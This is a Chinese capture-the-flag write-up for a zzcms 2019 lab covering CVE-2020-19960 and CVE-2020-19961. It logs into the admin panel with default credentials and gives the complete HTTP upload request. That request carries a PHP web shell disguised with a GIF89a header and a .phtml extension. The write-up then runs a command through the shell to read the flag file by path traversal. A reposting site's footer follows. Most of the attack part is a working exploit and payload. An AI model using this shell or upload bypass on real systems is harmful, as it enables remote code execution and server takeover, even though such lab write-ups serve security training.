声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
靶场介绍
zz cms 2019 存在sql注入漏洞 (CVE-2020-19960,CVE-2020-19961即可通关文件上传漏洞获取flag)
春秋云镜开启靶场:
http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/
后台
http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/admin/login.php
账号admin 密码admin
登录进来找上传点
http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/uploadimg_form.php?noshuiyin=1&imgid=2
上传一张图片 修改后缀为.phtml
POST /uploadimg.php HTTP/1.1
Host: eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------193076518811279314343225962366
Content-Length: 664
Origin: http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/uploadimg_form.php
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1669902296,1669945756,1669953976,1670045049; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1670050507; __tins__713776=%7B%22sid%22%3A%201670052271753%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201670054071753%7D; __51cke__=; __51laig__=1; admin=admin; pass=21232f297a57a5a743894a0e4a801fc3; tablename=zzcms_zsclass
Upgrade-Insecure-Requests: 1
-----------------------------193076518811279314343225962366
Content-Disposition: form-data; name="g_fu_image[]"; filename="1.phtml"
Content-Type: image/jpeg
GIF89a
<?php
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?>
-----------------------------193076518811279314343225962366
Content-Disposition: form-data; name="Submit"
提交
-----------------------------193076518811279314343225962366
Content-Disposition: form-data; name="noshuiyin"
-----------------------------193076518811279314343225962366
Content-Disposition: form-data; name="imgid"
-----------------------------193076518811279314343225962366--
获取flag文章来源:https://www.toymoban.com/news/detail-626084.html
http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/uploadfiles/2022-12/20221203074749583.phtml?s=cat%20../../../../../../../../flag
文章来源地址https://www.toymoban.com/news/detail-626084.html
到了这里,关于[春秋云镜]CVE-2020-19960,CVE-2020-19961的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!